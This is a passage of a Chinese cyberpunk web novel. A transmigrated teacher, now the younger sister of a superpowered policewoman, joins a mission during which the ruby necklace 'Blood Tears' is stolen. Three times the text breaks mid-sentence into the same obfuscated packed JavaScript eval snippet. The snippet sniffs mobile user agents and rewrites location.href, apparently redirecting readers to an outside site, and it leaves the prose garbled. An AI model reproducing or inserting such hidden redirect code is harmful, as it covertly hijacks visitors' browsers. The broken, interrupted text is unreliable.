《我姐可是大女主![赛博]》 1. 穿越 “滴滴滴……” 闹钟如常响起,仿佛是刻在了大脑里的程序,定时定点,在脑海里炸开。云一猛地睁开眼睛,脑海里还有“滴滴滴”的闹钟声,甚至还有响亮的“当”的一声。 穿到这个世界已经快一个月了,每天早上六点半耳边还是能听到原来世界的闹钟声,身体的生物钟也依然有反应。云一都不禁感叹,自己还真是顶级牛马,都穿书了,还保持着牛马的素质。这是真挺牛的! 她揉了揉睡眼朦胧的眼睛,从床上下来,走到窗户边。拉开窗帘,那铺天盖地的建筑和只有赛博游戏里才能看见的悬浮地铁映入眼帘。巨大的视觉冲击让云一瞬间醒神,她真真切切地来到了一个以赛博朋克为背景的小说世界。 遥想一个月前,她还只是一个寒窗苦读十年是为了寒窗苦读一辈子的苦逼高中老师。她只不过是在上早自习的时候抓到一个学生在用手机看小说,又非常有职业道德地没收了那学生的手机。坏就坏在她没有立马把那手机给关了,她还偏偏十分无聊地瞄了一眼。 就是这么一瞄,她还就看进去了。这部小说是以赛博朋克为背景的大女主小说,早死的妈,光荣牺牲的爸,走失的妹妹,破碎的她。美强惨女主的标准身世。 然后女主靠着超绝天赋和超能力,查神秘组织,大战克鲁苏怪物,智斗怪盗,成为联邦警局之光。 最吸引人的还属女主的感情线,高岭之花上司,痞帅傲娇同事,温柔医生,忠犬小师弟,欢喜冤家…… 云一靠在窗户旁,看得入迷。巧合的是,女主那个失踪的妹妹和她居然同名同姓。根据穿书原则,同名同姓必定…… 看得正起劲,只觉有双眼睛正盯着自己。抬眼,只见教导主任的脸青了又黑。云一一个惊吓过度,一不小心摔了下去。她也想不清楚自己到底怎么掉下去的,四楼的高度,不死即残。 好消息,没死也没残,坏消息,她穿书了!穿成了大女主的亲妹妹。 女主的妹妹走失之后,流落街头,后来因为身上的超能力,被教会的人带回了专门为联邦培养超能力者的基地。基地管理严格,只有通过测试的人才能出去。妹妹为了早日和姐姐团聚,硬撑着完成测试,结果因为身体承受不住,昏死过去。就在这天,云一穿了过来。 其实也挺可怜的,这两姐妹终究还是没有团圆。不过,可怜是可怜,但云一可不打算暴露自己的身份,毕竟,她还得活下去。 就在云一犹豫着要不要再睡一会儿的时候,房间外窸窸窣窣的声音引起了她的注意。不会吧…… 云一将房门小心地拉开一条缝隙,果不其然,大女主天兰又在练拳击。 汗水已然将她的头发打湿,天兰手臂上的肌肉线条也因为充血而显得更加明显。 “老天啊,这才六点半啊……”云一不禁有些啧啧称奇,“真不愧是大女主。” 或许是感应到了云一的存在,天兰停住了动作,单手抱住了摇晃着的沙袋,斜眼看向云一的方向。 天兰身材高挑,气质偏冷,尤其她还有警察的职业病,看谁总有一种审犯人的意味。那双狭长的狐狸眼一旦锁定目光,总让人有些不寒而栗。 可云一注意到,每当天兰看向她的时候,那双警觉的眼睛,总会一瞬间卸下防备,流露出一丝暖意。 “这么早就醒了?”天兰边说着边把拳套扯了下来,“是不是我声音太大吵到你了?” “没有没有,”云一连忙摆手,“就是做了个噩梦……” 梦见要去打卡,这简直了…… “今天第一次参与任务,你是紧张吧?”天兰一副看穿一切的眼神。 “我没有……”云一连忙矢口否认,虽然一切看起来是有点像那么回事。 “好了,再回去睡一会儿吧,”天兰走到云一面前,像是逗小猫小狗一样,拍了拍她的脸,“怕什么,天塌了有你姐顶着呢。” 哇,大女主要不要这么帅…… 还没等云一从短暂的迷恋中走出来,又听见天兰笑着补了一句。 “再说了,你都能参加的任务能有什么危险?” 啊,这还真是亲姐啊。 云一看了下时间,才六点四十,离上班时间九点还早呢。穿越到这个世界别的不说,至少没了该死的早自习。她想到这里,突然觉得很安心。云一将被子往上拉了拉,舒舒服服地又闭上了眼睛。 七点半的时候,云一才被天兰叫醒,收拾一番,两人便去了楼下的咖啡店蹭早餐。 “舅舅!” 云一一眼就看见了站在咖啡厅的餐台后站着的云明枫,他们的舅舅。 云明枫三十岁左右,穿着西装马甲,戴着金丝眼镜,浑身上下打扮得一丝不苟,再加上他那张好看的脸,当真让这家开在老城区的咖啡店上了一个档次。 “早上好,一一,小兰。”云明枫温和地笑着,将两份三明治和两杯咖啡放到了两姐妹常坐的桌子上。 “肉麻死了,”天兰有些不耐烦地拿起三明治,啃上一口,“请连名带姓地叫我,谢谢。” 云明枫有些尴尬地笑了笑,他推了推金丝眼镜,还是温和地笑着,“好的,舅舅记住了。” 饶是云一再迟钝,也感觉到了天兰对这位舅舅有些不喜欢。不过,问了一两次,两人都不太愿意说,也就罢了。 还没啃上几口,两人的手环都传来一条消息。 “行动一组和二组的全体人员,请九点五分准时到会议室开会。 ————发件人:行动一组组长:裴英轩” 云一立马看向天兰,心里还是有点紧张。他们单位虽然挂靠在联邦警局,但他们这个行动组准确来说是特调处的行动组,也就是说他们和普通联邦警察不一样,全是超能力者,他们执行的任务也就和普通联邦警察的任务等级不一样。行动一组和二组的任务等级又不一样。 因为两人的爸执行任务时光荣牺牲了,本着照顾后代的原则,加上云一是从基地出来的超能力者,云一就被照顾着进了这个单位。因为是新人,又在二组,她还真没正经执行过什么任务。 说紧张,还真有一点。 “还不快吃?”天兰见云一发呆,忍不住提醒了一句。 云一听罢,如梦初醒般地猛啃起那三明治,两三口就吃完了。倒是惹得冰山美人天兰大小姐,笑了一下。 两三口吃完,两人立马要走。云明枫在后面叮嘱了一句,“开车的时候慢一点!注意安全!” 云一手忙脚乱地戴好头盔,爬上天兰机车的后座,这才有空和这位长得和咖啡主理人似的舅舅挥了挥手。 还没挥完,天兰一个起步,就吓得云一赶紧抱住了她的腰。 天兰不愧是大女主,她的开车风格就一个字,野。 有监控的地方,压着时速,没监控的地方,疯狂飙车。好处是,她们将近一个小时的车程,被缩短到了半个小时。 刚进入停车场,云一就看见了他们二组组长顾青和一组组长裴英轩的车,并排停在车库。 这两人可是有名的冤家,据说两人在警校的时候就开始较劲,后来,又都分到了特调处,那简直如同一对一打擂台了。再加上这两人的出身都还挺厉害的,属于谁都不好惹的类型。于是,整个警局都默契地尽量不让两个冤家碰头了。 这一次动用了两张王牌,想来是因为任务实在棘手。 “感觉今天有好戏看了!”云一有些幸灾乐祸地嘟囔了一句。 天兰有些无奈地摇了摇头,大步往电梯走去。 刚进电梯,联邦警局的人工智能阿波罗便连接了他们的通讯,充满磁性的声音响了起来,“早上好,警员云一,祝你今天工作顺利。” 虽然已经一个月了,但是每次听到阿波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081471|195339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗的声音,云一总觉得很神奇,更何况,这声音实在是好听。 “早上好,阿波罗,祝你也一切顺利!” 天兰看着云一的眼神,几乎是看小傻子般的无奈。她拍了拍云一的脑袋,“我们一一还是小孩子呢。” 云一明白这是受到了嘲笑,可是没办法啊,她这个土老帽就是对这个机器人感到新奇。 电梯到一楼的时候,又上来了好多同事,大家的神色都有些匆忙。大家点头微笑,就算打过招呼了,也不多说话。 一到会议室,一组和二组的成员都分区坐好。天兰作为一组的重要骨干成员,坐到了一组区域的第一排,而云一作为二组的新人,很自然地坐到了最后一排。论摸鱼,谁能比得过她。 不一会儿,云一就看到两个一米八左右,身材高挑的大帅哥,一左一右坐到了天兰旁边。一个是不苟言笑的傲娇帅哥,一个是阳光开朗的年下小师弟。这可是女主的两大男主啊! 云一看着几人的背影,已经暗自磕起了cp。毕竟看小说是一回事,真正的生活又是另一回事。她觉得还是势均力敌的爱情比较能走得长远,看起来还是和那个傲娇的帅哥和天兰比较般配。 但是呢,大女主可是很累的,还是很需要有一朵解语花在身边给予情绪价值。更何况,天兰可是个冷美人,还是更需要阳光的年下小狗来哄她开心,给她提供强大的后方支持。 “你看着你姐发什么呆呢?”一个看起来十分机灵的男生坐到云一身边,用手臂碰了碰她,将她拉回现实。 云一这才回过神,原来是她的办公室好搭子,和她一样略显废物,略爱摸鱼的张照初小同志。 “没,没什么……”云一有些心虚地傻笑了一下。 张照初也习惯了云一这种有些奇怪的行为,他也不甚在意,兴奋地凑到云一身边,小声地八卦:“一一,你听说了吗,咱们老大昨天就被处长叫回来了,据说因为这个事情,一组的组长还和处长大吵了一架。还是局长出面,才把一组组长给安抚下来的。” “更劲爆的是,昨天局长亲自组了饭局来缓和咱们老大和那一位的关系,谁知道两位在饭桌子上就叫板起来,丝毫不给局长面子。” “哇哇哇,那今天岂不是会很精彩?” 两人对视一眼,吃瓜的心情已经达到了巅峰。 “你俩声音再大一点,动作再明显一点,老大就该直接走下来打死你俩了。”坐在前排的警员华京有些看不下去了,忍不住转过来提醒他俩。 云一不由得脸红了,这位可是他们二组里比较有资历的前辈,被前辈这么明晃晃的提醒,着实有些丢人。 “京姐,我们错了……” “京姐,咱不是关心老大嘛。”张照初这个办公室油子早就没皮没脸了,他立马嬉皮笑脸地和华京插科打诨,把这个事情给糊弄过去了。 华京看着有几分怯生生的云一,摇了摇头,“张照初,你可别把新人带坏了,小心天兰一把火烧了你。” 说到天兰,就算是张照初这个人精,也没话可说了。 云一和张照初互看一眼,默契地闭上了嘴。这时,一组和二组的组长走了进来。 一组的组长裴英轩是位干练的女警,今天梳了一个利落的马尾,戴着一副无框眼镜,更显得精英感十足。与之相反的是他们二组的组长顾青,虽然顾青也算得上是个大帅哥,但是吧,看起来吊儿郎当,走路也没有正形,任谁看了都觉得他是走后门进来只想躺平的富二代。 会场顿时安静了下来,众人直勾勾地看着两位组长。裴英轩冷眼看了顾青一眼,顾青不知从哪里拿出一颗糖,剥掉糖衣,丢到嘴里,这才笑着对裴英轩做了一个“请”的动作。 裴英轩便理所当然地坐到了主位,颇有威严地开口:“这次把一组和二组的各位同仁召集到一起,是为了本次任务的顺利完成。” 2. 任务 画面真实的全息投影在会议室展开,一串血红色的宝石项链被投放到了会议室中间。项链由六颗血红的鸽子蛋大小的宝石镶嵌而成,宝石璀璨夺目,尤其是那血红色,仿佛真要滴出血来。 “这串项链名叫‘血泪’,是柳氏集团的会长捐与教会的圣物,捐赠仪式将在今天下午两点整举行。”说着,裴英轩又在旁边点开了一张地形图,“地点是柳氏集团旗下的星月广场三楼展示厅。届时,教会的大神官和柳氏集团的会长都会到场。项链如今保存在柳会长的私人保险柜里,由专人看管。仪式当天前一个小时,柳会长的私人保镖会带着保险柜来到现场,再由柳会长亲自打开,交与大神官。” “本次行动的目标是确保捐赠仪式的顺利进行。接下来,一组和二组的成员请按指示,到现场布控。辛苦大家了。” 果然就像天兰说的,算不上什么危险的任务。云一听完裴英轩的讲话,总觉得怪怪的,她盯着那串叫“血泪”的项链,鲜红的红宝石映入她的眼里,让她总觉得心里闷得慌。 “咔……咳咳…… 耳边似乎响起奇怪的声音,好近,好近…… “走啦。”张照初见云一发呆,扯了扯她的衣服,“人家一组要开小会,你要留下来吗?” 云一这才回过神,果然二组的组员都陆陆续续离开了。她摸了摸心脏所在的位置,不知为何,她觉得心跳莫名有些加快。 手环震了一下,传来天兰发的信息:没事吧? 云一抬头,望见天兰一副担忧的表情。她用手抚平了心脏那块位置的衣服,笑着和天兰比了个“OK”。看着天兰身旁的男一男二号招呼她赶紧坐过去开会,云一连忙和她比了拜拜的手势。 她也赶紧给天兰传了讯息:能有什么事呀,专心开会吧!待会见! 天兰见此才放心地投入他们一组的会议。 大女主真算是一个好姐姐啊。云一默默地感叹了一句,迅速跟上了二组的队伍。 回到办公室,大家都已经领好了装备,开始穿戴防弹衣,佩戴武器。云一赶紧走到张照初的身边,那里有一套装备是张照初帮她领的。她冲张照初一笑,“谢了!” 已经来二组一个月了,经过培训,云一已经掌握了这些物品基本的使用规则。不过,摸到那把手枪的时候,心里还是不自觉地颤了一下。她当然在这一月里开过枪了,在巡逻的时候,还见过张照初开枪打人,甚至见过同组那个肌肉男同事受过枪伤。 这个世界的医疗高度发达,再加上什么机械义肢的普及,云一总觉得他们根本不把人命当回事。在这个世界,想死还真没那么容易,随便怎么打,最后总能组装回来。 但是,她也能做到吗? “紧张?” 一个低哑的声音从上方传来,还伴随着柠檬糖果的味道。抬眼一看,他们二组的组长顾青不知何时已经站到了云一身边。 顾青伸出手,拿起云一手里的枪支,检查了一下,递还给她。 “别看今天阵仗这么大,其实还没上次去抓那几个涉嫌宣传邪教组织的小混混危险。” 顾青安慰式地拍了拍云一的肩膀,“柳氏集团的安保措施好得很,别说他们那一堆高科技产品了,他们那几个安保人员听说都是B级A级的高手。再加上教会大神官坐镇,我都觉得我们挺多余。” “老大,你这么说,我们还不如找个地缝转进去算了。”张照初苦着一张脸,一脸无地自容的样子。 其实,云一心里也是这么想的。这个世界有超能力的人不多,等级高的就更少了。他们二组除了顾青是A级,其他人几乎都是E级或者D级。谁知道人家有钱人就连安保人员都是A级B级的高手,那还要他们干嘛? 顾青敲了一下张照初的脑袋,骂了一句:“别给我整这一出啊。我这也是让大家别紧张,咱们只管做该做的事情,其他的,也不用我们操心,上级自有安排。” “是!” “是!” 所有人齐刷刷地答了一声。 他们二组就是这点好,领导自己就很佛系,底下的人也就卷不到哪里去。经过这么一闹,云一觉得自己好像也没那么紧张了。 她穿戴完毕之后,立马跟着几个队员坐上了悬浮车,前往星月广场。 悬浮车上,顾青分配了任务之后,便闭目养神,不再说话。云一看着悬浮车窗外的风景,眼花缭乱的,让她觉得好不真实。 “一一,”张照初有些不解,“你又发什么呆?” “没什么。”云一回过神,见张照初手里拿着一个十字架,便接过看了看,“给我这个干嘛?” 张照初又恢复了之前说八卦的劲头,先偷瞄了一眼顾青,见顾青闭着眼养神,才凑到云一耳边低声说:“不是说大神官要来吗?到时候看能不能找大神官赐福一下,嘿嘿嘿,这机会可难得啊。” “啊?”云一道是知道这个世界有教会,而且信奉的人还挺多的,可是,她还是第一次知道同事们也信这一套。 周围的几个同事也偷偷给她展示自己藏在身上的十字架,大家都一副小学生上课偷吃零食的模样,倒也有几分好玩。 “咳。” 一旁的顾青“咳”了一声,大家赶紧收好东西,云一也立马将那十字架塞到衣服里面。 “二组的各位警员请注意,离目的地星月广场还有一公里,预计一分钟之后到达,请做好准备。” 阿波罗的声音响起,星月广场的地图也随之传送到了手环里。 云一和张照初分到了一组,下车之后,两人根据地图,守到了展览厅的外围。 一到地点,云一才觉得奇怪,这个地方可不像是有警察来戒严的地方。正相反,这里人山人海,就是商场该有的模样。餐厅、各种娱乐项目、服装店、珠宝店……,甚至在三楼的展览厅的门口还放了捐赠仪式的宣传3D动画,似乎在搞主题活动。 三楼的展示厅虽然被拉了警戒线,但是展示厅之外的大露台却摆放了一个直达六楼的巨大玻璃展柜,玻璃展柜里面放着“血泪”全息投影。 幽深的保险柜里,躺着夺目的宝石。鲜红的红宝石被无限放大,那红仿佛是要渗出来的血泪,璀璨得令人忍不住要多看几眼。 所有的行人都围在“血泪”的投影周围,赞叹,拍照…… 二组的人迅速到达指定位置,他们各带领了一组从警局其他部门调来的没有超能力的普通警察,布置警戒线,将人群和展厅隔开了距离。 毕竟超能力者还是少数,所有特调处一共也没多少人手。在执行任务时,尤其是危险等级不太高的任务时,还是会抽调其他部门的人手。这样看来,今天确实没什么危险。 云一环视四周,摄像头到处都是,加上一堆超能力者的保驾护航,一只苍蝇都飞不进去吧。 过了没多久,一组的人也陆续到场了。云一看着天兰和一群穿着警服的同事大步流星地走进了展厅。看着天兰那英姿飒爽的背影,她又一次开始回想大女主的恋爱线。 可惜,那本小说她也没看多少,关于剧情线,还真不太知道。不过,不管是哪条爱情线,应该都挺好磕的。 “又发呆?”张照初有些无奈地看着云一,“要不,等捐献仪式结束之后,我陪你去求大神官给你‘净化’一下?据说教会的神使全是精神控制超能力者,他们可是专业的。” 精神控制?云一立马摇了摇头,这还是算了吧。 已经到中午了,他们提前吃了营养剂,也不用吃午饭。云一看着四楼露台上那几张摆在外面的餐桌,看着那几桌客人悠哉悠哉地吃着午餐,心里还是冒出了几分羡慕。 其中一桌坐了四个年轻人,看不清样貌,都穿着深色的衣物,倒是不大起眼。只是,他们的位置恰好在云一视线最明显的地方,一抬眼便看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081472|195339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了。 也不知怎么回事,云一老是有种想往上看的冲动。她伸手摸了摸心脏的位置,那个位置又开始反常的跳动了,和今天在会议室一样。仿佛周围的所有人都被隔离开了,她的耳朵里只听到“扑通扑通”的心跳声,那声音分明从她的身体里发出,那声音,却不属于她。 抬头,环顾四周,只四楼露台上的人群中有一个人的身影变得清晰。她的五感似乎一瞬间异常灵敏起来,明明前一刻还雌雄不分的距离,此刻却能看清那人的瞳孔颜色,琥珀色,让人无端联想到狼。 那人戴着口罩和鸭舌帽,看不清脸,些许头发暴露在帽檐外,遮挡住那双野兽般的眼眸。此刻,那双眼眸也注视着她,似乎,他也能看清她。 “一一,一一!” 身体开始摇晃,熟悉的声音在耳边响起。 “发什么呆啊!赶紧拉线啊!来了!” 张照初的脸在眼前清晰,云一这才如梦初醒般地跟着张照初一起拉开警戒线。他俩刚一动作,五六个穿着黑西装的安保员就立马铺了一张红色的地毯。 云一半梦半醒地望向红毯的另一头,一辆豪华的悬浮车停下,一个身穿白色西装的花白老人和一个胸前挂着黑色十字架的年轻男子走了下来。他俩在突然闪现的聚光灯和欢呼中的人群中,显得格外引人注目。很明显,他们便是今日的贵宾,柳氏集团的会长和教会的大神官。 与此同时,一男一女两个气质不凡的安保员,穿着黑西装,戴着白手套,捧着一个用黑布盖着的箱子走在前面。任何一个有眼睛的人,几乎立马就看出了,那里面装着的就是今日的主角,那串名叫“血泪”的宝石。天兰以及一组的几人也在其中,充当保护者的角色。 宝石经过云一的时候,她很确定她又听到了那个声音。 “咔…咳咳…” 心跳又在异常地跳动,仿佛身体里有另一个生物。 直到各位贵客主角都进入展厅了,云一还是那副失魂落魄的状态。 “一一,你是不是有点不舒服啊?”张照初摇了摇云一,“要不,我和老大说一下,找人接应你。” 云一做了几次深呼吸,她抬头看向露台的方向,那一桌早已没人了,估计跟着人群去看热闹去了。她甩掉方才的那种不适感,勉强调整了状态,对张照初笑了笑:“不用了,就是有点热,现在好了。” “真的?”张照初满脸的担忧。 云一连忙点头,表示自己没事,她赶紧转移张照初的注意力,“那就是柳会长和大神官?大神官看起来可真年轻。” “而且还很英俊,看起来十分亲切,对吧?” 倒还真是,云一连忙点头,她一看张照初那表情,就知道又有什么八卦,立马凑了过去,求知若渴地看着他。 “他们教会的神官大都是精神控制的超能力者,据说,最顶级的超能力者到后面连外貌、气质、声音都会为精神控制服务。他们的一颦一笑,一举一动,哪怕是说一句话,看你一眼,都会瞬间控制人心。”张照初感叹道,“那位大神官估计已经达到这种程度了吧。” 云一点了点头,她看向展厅的方向。里面有如此厉害的人物,还有她姐这个大女主坐镇,应该就没他们几个什么事情了吧。 她摸了摸胸口,觉得自己的身体似乎出了些小问题。还是等结束之后,去找医生看一看。就去找天兰的那个温柔医生看,正好还可以好好欣赏一下这位男主角的容颜,再考察一下准姐夫三号的性情。完美。 就这么想着,手环里突然冒出一条紧急通知。 阿波罗的声音在每个特调处行动组队员的耳机里响起,“紧急通知,‘血泪’被盗,有危险人物混入展厅,各部门注意,守住出入口,注意嫌疑人犯。” 云一有些没反应过来,“被偷了?” 张照初抬手看了一眼时间,语气惊讶,“才进去不到两分钟。” 3. 闯祸 现场布控一切正常,展厅监控没有任何异常,“血泪”从放入保险箱到护送到展厅的过程几乎是毫无破绽。 柳会长亲自打开保险箱,将“血泪”取出,交与大神官。所有的闪光灯,所有的掌声,所有的热闹,在大神官那双令人如沐春风笑眼凝视“血泪”的那一刻,终止了。 “假的。” 短短两个字,似乎有魔力,现场所有人都几乎愣住了。 柳会长立马上前查看,他脸色一变,“怎么回事?” 几个安保员脸色一个比一个惨白。 “血泪是到展厅之后才由会长取出来的,除非有异能者,否则普通手段根本无法实施。”领头的那个安保员顶着压力,尽可能冷静地分析道:“现场有大神官在,大神官的异能‘失效’也一直在启动,根本不可能有异能者使用异能。那血泪只可能是在来之前就被调换了。” 来之前吗?柳会长想起刚才从保险箱里拿到血泪的手感,分明就是真的。可,听了这一番话,他也忍不住怀疑起来。毕竟他们柳家也不是百分百的安定,他的那几个兄弟姐妹,包括各个儿女们都在蠢蠢欲动。 混乱之中,天兰想起了熟悉的案件,两年前斯特林家族三儿子成年。老斯特林将家族的传家宝,一把古董匕首,作为成年礼送给儿子。 典礼当天,匕首被偷龙换凤。就如今日。 “不对!”一个斩钉截铁的声音响了起来,“血泪一定是在现场被偷走的!有人能做到!” “暗影!”天兰肯定地吐出这两个字,她从警生涯面临的最大对手,也是唯一没有抓住的对手。 暗影这两个字一出口,所有人都了然了。暗影,暗网排名第一的犯罪团体。只要给够了钱,暗影什么任务都接。 近年来流传很广的一个悬案,格林格拉斯家族的大女儿在暗网上重金发布杀人任务,暗杀自己的哥哥。暗影接下任务的第二天,格林格拉斯家族的继承人以非常符合常理的方式死亡,找不到丝毫破绽。 黑白两道,人人都听过暗影的大名,但没有任何人知晓这个团伙的具体消息。他们在这个摄像头遍地都是,没有任何隐私可言的世界,如同一抹影子,看不见,抓不住。 天兰立马向裴英轩报告,“血泪还在现场,他们一定还没有转移,madam,请求封锁现场!” “你是说,他们是在柳会长取出血泪的时候,偷换的?” “怎么可能?怎么做得到?” 那几个安保员虽说是A级的超能力者,但他们此时已然有些崩溃了。这世上真的有超能力者能在他们面前,当着这么多人,悄无声息地在短短十几秒的时间内偷走“血泪”吗? 天兰坚定地说:“暗影,就能做到!” “人脸识别正常,并没有人混进来。”负责安检的工作人员查看之后,连忙汇报。 在这个展厅的人都非富即贵,听到封锁的消息,很多人都有些不满,纷纷表示要向政府投诉他们。 眼神扫过周围的人,天兰感觉自己的眼睛都有些花了,暗影的人一定在里面,可是,怎么找出来呢? 眼睛扫了一圈,落在大神官的身上。天兰嘴还未张开,大神官似乎已经知道了她的想法。 大神官低垂眼眸,这个空间仿佛有什么发生了变化。 大神官的异能,解除了。 混入羊群的狼,装得再像,也总会露出獠牙。她就要给他们这个机会,她不信,他们能忍得住? 混乱之中,人群里似乎发生了什么变化。 就是现在! “大神官!” 听到天兰急促的声音,大神官心领神会地点了点头。 异能又启动了。 一个正要溜出去的穿着白色洋装的贵妇,瞬间变成一个全身黑衣的年轻男子。那男子转过头,一张画着笑脸的机械面具嘲讽地看着他们,十分挑衅。 安检出入口处,居然凭空出现了一个年轻男子,黑帽衫,鸭舌帽,同样的机械面具。 “抓住他们!” 所有的异能都不能使用,拼的便是体能、人数和武器了。 那个戴鸭舌帽的男子将帽子取下,奋力一扔,击中离他最近的警员的眼睛。两人几乎是飞檐走壁般地飞过了人群,手上的绳子发射器固定在天花板上,两人前后在展厅飞荡。 “开枪!”柳会长此话一出,众人都脸色一变。 “柳会长,这里人太多了,开枪恐怕会误伤。”裴英轩上前解释。 “所有的伤亡赔偿由我负责!” 裴英轩沉默了一瞬,便点头默许了。 天兰几乎是瞬间就看出他们的意图,这个展厅的建筑材质可是军用级的,既不能用异能又没有重量级的爆破武器,根本不可能硬破。只有从二楼的天窗出去。 一组的几个成员听从天兰的指挥,默契地将天窗围住。天兰手持□□,对准那个位置,因为过于兴奋,她的手都有些颤抖了。这么多年,终于要抓到他们了! 果然,那抹黑色身影出现在射程范围内。天兰打出了那一枪,不偏不倚,没有半分偏差。 可是,他居然躲开了! 他的速度快得惊人! 是异能! 不对!天兰清楚地感知到,大神官的异能没有解除,他们所有人都处于大神官的零度空间,根本无法使用异能。 怎么回事? 时间紧迫,来不及多想。 只见那人并不是要从天窗出去,而是以此为爆破点,居然将整片玻璃给爆破了。不知道他用了什么方法,展厅居然没有倒塌,只是一面玻璃墙碎了。玻璃碎片炸开,现场一片混乱。 几个黑衣人趁机跑了出去。 “二组的成员请注意!嫌疑人跑了出来,两名穿着黑衣的男子,身高一米八左右。外面可能有接应。” “所有行动组的警员请注意,目前无法使用异能,请大家正确使用枪械,一定要抓住嫌疑人。” 这条消息的隐藏意思是,无论生死,都要抓到嫌疑人。 听着耳机里传来的命令,张照初立马尝试使用了一下异能,果然失效了,他对云一摇了摇头。两人也顾不上其他,连忙赶去支援。 这个商场不仅人员复杂,还是一个半开放性的建筑,要想封锁,谈何容易。二组的各个成员只得将主要的出入口看住。 在云一想要跟着张照初跑到展厅那一楼去支援的时候,耳机里传来顾青的声音,“云一,去四楼帮忙疏散游客。” “可是……” “这是命令!” “是。” 张照初拍了拍云一的肩膀,立即往展厅的方向跑去。 这算是特殊照顾吧。这一个月来,她一直没执行过什么危险任务,就算出外勤,遇到需要动手的任务,她都是奉命殿后。 云一转过头,和各位同僚往相反的方向走去。她这人一向不纠结,不让她去也好,她也帮不了什么忙,那就做到不添乱好了。 不多时,只见两抹黑色身影如野兽般冲了出来。他们专门往人多的地方跑,翻身上桌,顺手拉一两个无辜路人挡住后面追过来的警员。 天兰和一组的几个成员紧跟其后,两抹黑色身影立马分了方向。在后面警员想要开枪的一刻,不知从哪里跑出来的第三人第四人,暴露身影,攻击开枪的警员,让子弹偏移,掩护同伴逃跑。 四个身影立马分散开来。 “分开去追!” 天兰看着那抹黑色身影三两下如同飞檐走壁般翻到了购物中心的四楼。这是他们从未想到的路线,毕竟没了异能的他们应该是普通人才对,普通人怎么会飞檐走壁? 虽然觉得不可能,但是天兰也不得不想到那个不太可能的原因。暗影中,或许有能对大神官的异能免疫的高手。 能对s级异能免疫?这该是多可怕的实力啊! 天兰压制住有些沉重的心情,强迫自己集中和注意力。 “嫌疑人去了四楼!四楼有谁在?”天兰一边跑,一边和对讲机里的同事对话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081473|195339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “二组组员云一正带领一队安保员在四楼疏散人员。” 听到云一的名字,天兰的心一紧,脚下的动作更快了一些。 云一正和四五个安保员指挥着惊慌失措的客人们走安全通道,刚听到对讲机里的话,只见一个黑色身影擦着她就飞了过去。 身后响起一组一个警员的声音,“抓住他!” 云一心里“扑通”一声,来不及多想,赶紧追了过去。那人离她实在是太近了!也就隔了两个人的距离。 “云一!让开!” 同事的声音带着一分急促,奔跑间回过头,同事的枪口已经对准了那黑衣人。枪声响,那黑衣人却以非常匪夷所思的姿势躲开了。子弹虽然没对准路人,但挡在黑衣人面前那个小女孩还是手臂中了一枪。小女孩受了惊吓,一个重心不稳就从栏杆翻了下去。 这件事发生的速度太快了,云一根本来不及反应,几乎是下意识地一把拉住了那女孩左边的手臂。几乎是同时,一抹黑色身影和她一样几乎是下意识地拉住了那女孩的右边手臂。 两个人几乎是同时看向了对方。那张机械面具上,一双眼睛眨了眨,似乎面具下的人也在仔细审视着云一。那黑衣人的鸭舌帽没了,一头微卷的头发暴露出来,别说,这发型还挺酷。 就这么分神了一瞬间,那种感觉又出现了。心脏剧烈的跳动,“扑通、扑通”,那声音好近好近,从她的身体里传出来,似乎还想撕开她的身体钻出来。 云一脑子里一片空白,她快要喘不过气来,只觉得自己的手有些颤抖,她只能强制自己不要松手。 不过几秒钟,她颤抖着和那男子将那女孩拉了上来。 心里的那口气都还没松,身体里那种要命的感觉也还没完全消退,只见一颗空气弹擦着云一的头发朝那黑衣男子而去。云一几乎是下意识地发动异能,形成一面水墙,将那枚子弹挡住。 隔着水墙,那黑衣男子明显是愣住了,直勾勾地看着云一。 见那黑衣男子没动,那位同事当机立断开了第二枪第三枪。这一次,他丝毫没有顾及云一的安危。毕竟他也不是要她的命,大不了事后带这位同事去修补一下。 第二枪直冲云一而去,让她受伤收回异能,第三枪就能击中那黑衣男子。 谁承想,第二枪飞过之时,那个黑衣男子竟然一把拉开了云一。那速度,简直不是常人能比。那位同事不愧是一组的成员,第一反应是异能果然解开了,立马要使用异能,却仍然失效。 云一整个人处于一种强烈的痛苦之中,尤其是被这黑衣男子一拉,她整个人因为失重几乎是一瞬间靠在了他的身上。她几乎是有预感似地摸到了那人身上那串东西,滚烫的,诱人的。 她的心都要跳出来了。 那男子也注意到了她的动作,可终究隔着口袋,他只是立马将她推开。 